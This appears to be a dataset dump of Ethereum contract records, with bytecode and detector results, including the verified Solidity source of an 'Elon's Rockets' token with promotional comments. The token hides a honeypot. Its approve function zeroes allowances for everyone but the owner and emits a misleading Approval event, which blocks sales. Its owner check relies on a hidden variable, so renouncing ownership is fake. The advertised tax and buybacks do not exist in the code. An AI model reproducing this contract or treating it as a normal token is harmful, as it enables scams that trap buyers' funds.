fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611808565b808061180090613463565b915050611549565b5050565b600033905090565b600080600080600080600061182888611f33565b915091506000611836611f0f565b905060008060006118488c8686611f70565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d3906131e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561194c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611943906130e2565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a2a9190613242565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906131c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e90613082565b60405180910390fd5b60008111611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b51906131a2565b60405180910390fd5b611b62610c2a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bd05750611ba0610c2a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c1b57600b54811115611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613142565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611cbe5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cd357611cce838383611fb9565b611f0a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d765750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8b57611d868383836121f7565b611f09565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e2f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4457611e3f838383612435565b611f08565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611efb57611ef68383836125e5565b611f07565b611f06838383612435565b5b5b5b5b505050565b6000806000611f1c6128b1565b915091508082611f2c91906132ea565b9250505090565b60008060006002606485611f4791906132ea565b611f51919061331b565b905060008185611f619190613375565b90508082935093505050915091565b6000806000808487611f82919061331b565b905060008587611f92919061331b565b905060008183611fa29190613375565b905082818395509550955050505093509350939050565b6000806000806000611fca86611814565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201f9190613375565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ad9190613375565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b9190613294565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121888382612c0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121e59190613242565b60405180910390a35050505050505050565b600080600080600061220886611814565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225d9190613375565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122eb9190613294565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123799190613294565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c68382612c0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124239190613242565b60405180910390a35050505050505050565b600080600080600061244686611814565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249b9190613375565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125299190613294565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125768382612c0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125d39190613242565b60405180910390a35050505050505050565b60008060008060006125f686611814565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264b9190613375565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d99190613375565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127679190613294565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f59190613294565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128428382612c0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161289f9190613242565b60405180910390a35050505050505050565b6000806000600654905060006a52b7d2dcc80cd2e4000000905060005b600580549050811015612bc35782600160006005848154811061291a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612a2e57508160026000600584815481106129c6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612a4e576006546a52b7d2dcc80cd2e400000094509450505050612c07565b6001600060058381548110612a8c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612afd9190613375565b92506002600060058381548110612b3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612bae9190613375565b91508080612bbb90613463565b9150506128ce565b506a52b7d2dcc80cd2e4000000600654612bdd91906132ea565b821015612bfe576006546a52b7d2dcc80cd2e4000000935093505050612c07565b81819350935050505b9091565b81600654612c199190613375565b60068190555080600754612c2d9190613294565b6007819055505050565b600081359050612c468161392a565b92915050565b600081359050612c5b81613941565b92915050565b600081359050612c7081613958565b92915050565b600060208284031215612c8857600080fd5b6000612c9684828501612c37565b91505092915050565b60008060408385031215612cb257600080fd5b6000612cc085828601612c37565b9250506020612cd185828601612c37565b9150509250929050565b600080600060608486031215612cf057600080fd5b6000612cfe86828701612c37565b9350506020612d0f86828701612c37565b9250506040612d2086828701612c61565b9150509250925092565b60008060408385031215612d3d57600080fd5b6000612d4b85828601612c37565b9250506020612d5c85828601612c61565b9150509250929050565b600060208284031215612d7857600080fd5b6000612d8684828501612c61565b91505092915050565b60008060408385031215612da257600080fd5b6000612db085828601612c61565b9250506020612dc185828601612c4c565b9150509250929050565b612dd4816133a9565b82525050565b612de3816133bb565b82525050565b6000612df482613278565b612dfe8185613283565b9350612e0e8185602086016133fe565b612e1781613539565b840191505092915050565b6000612e2f602383613283565b9150612e3a8261354a565b604082019050919050565b6000612e52602a83613283565b9150612e5d82613599565b604082019050919050565b6000612e75602683613283565b9150612e80826135e8565b604082019050919050565b6000612e98602283613283565b9150612ea382613637565b604082019050919050565b6000612ebb601b83613283565b9150612ec682613686565b602082019050919050565b6000612ede601f83613283565b9150612ee9826136af565b602082019050919050565b6000612f01602883613283565b9150612f0c826136d8565b604082019050919050565b6000612f24602883613283565b9150612f2f82613727565b604082019050919050565b6000612f47602083613283565b9150612f5282613776565b602082019050919050565b6000612f6a602983613283565b9150612f758261379f565b604082019050919050565b6000612f8d602583613283565b9150612f98826137ee565b604082019050919050565b6000612fb0602483613283565b9150612fbb8261383d565b604082019050919050565b6000612fd3602c83613283565b9150612fde8261388c565b604082019050919050565b6000612ff6602583613283565b9150613001826138db565b604082019050919050565b613015816133e7565b82525050565b613024816133f1565b82525050565b600060208201905061303f6000830184612dcb565b92915050565b600060208201905061305a6000830184612dda565b92915050565b6000602082019050818103600083015261307a8184612de9565b905092915050565b6000602082019050818103600083015261309b81612e22565b9050919050565b600060208201905081810360008301526130bb81612e45565b9050919050565b600060208201905081810360008301526130db81612e68565b9050919050565b600060208201905081810360008301526130fb81612e8b565b9050919050565b6000602082019050818103600083015261311b81612eae565b9050919050565b6000602082019050818103600083015261313b81612ed1565b9050919050565b6000602082019050818103600083015261315b81612ef4565b9050919050565b6000602082019050818103600083015261317b81612f17565b9050919050565b6000602082019050818103600083015261319b81612f3a565b9050919050565b600060208201905081810360008301526131bb81612f5d565b9050919050565b600060208201905081810360008301526131db81612f80565b9050919050565b600060208201905081810360008301526131fb81612fa3565b9050919050565b6000602082019050818103600083015261321b81612fc6565b9050919050565b6000602082019050818103600083015261323b81612fe9565b9050919050565b6000602082019050613257600083018461300c565b92915050565b6000602082019050613272600083018461301b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061329f826133e7565b91506132aa836133e7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132df576132de6134ac565b5b828201905092915050565b60006132f5826133e7565b9150613300836133e7565b9250826133105761330f6134db565b5b828204905092915050565b6000613326826133e7565b9150613331836133e7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561336a576133696134ac565b5b828202905092915050565b6000613380826133e7565b915061338b836133e7565b92508282101561339e5761339d6134ac565b5b828203905092915050565b60006133b4826133c7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561341c578082015181840152602081019050613401565b8381111561342b576000848401525b50505050565b6000600282049050600182168061344957607f821691505b6020821081141561345d5761345c61350a565b5b50919050565b600061346e826133e7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134a1576134a06134ac565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b613933816133a9565b811461393e57600080fd5b50565b61394a816133bb565b811461395557600080fd5b50565b613961816133e7565b811461396c57600080fd5b5056fea264697066735822122078939c10cfaa76ae6f17b9b3c74277b98eee81ec28ff800d4a7b85b40943a19964736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
9,563
0x352c62d0de03c543ae030cc15d12f7c07e671521
/** *Submitted for verification at Etherscan.io on 2021-08-05 */ /* ___________.__ __________ __ __ \_ _____/| | ____ ____ \______ \ ____ ____ | | __ _____/ |_ ______ | __)_ | | / _ \ / \ | _// _ \_/ ___\| |/ // __ \ __\/ ___/ | \| |_( <_> ) | \ | | ( <_> ) \___| <\ ___/| | \___ \ /_______ /|____/\____/|___| / |____|_ /\____/ \___ >__|_ \\___ >__| /____ > \/ \/ \/ \/ \/ \/ \/ 🌐 Telegram: https://t.me/elonsrockets 🌐 Website: elonsrockets.io ⏰ Buyback countdown announced 📈 When the countdown is over, a buyback session starts. ⁉️ Both the number of buybacks and the size are unknown. 🔁 When the streak ends, the next countdown is started, and the cycle repeats. ✅ Fair launch 🧮 16% Tax: 10% buyback, 6% team */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ElonsRockets is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = "Elon's Rockets - https://t.me/elonsrockets"; string private _symbol = '$ElonsRockets'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address elon, address ery, uint256 amount) private { require(elon != address(0), "ERC20: approve from the zero address"); require(ery != address(0), "ERC20: approve to the zero address"); if (elon != owner()) { _allowances[elon][ery] = 0; emit Approval(elon, ery, 4); } else { _allowances[elon][ery] = amount; emit Approval(elon, ery, amount); } } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204d1ebe70d6ea3afaaafa7666f8d3223845722771ddbd0f53a8bb89ccb00a13bb64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
9,564
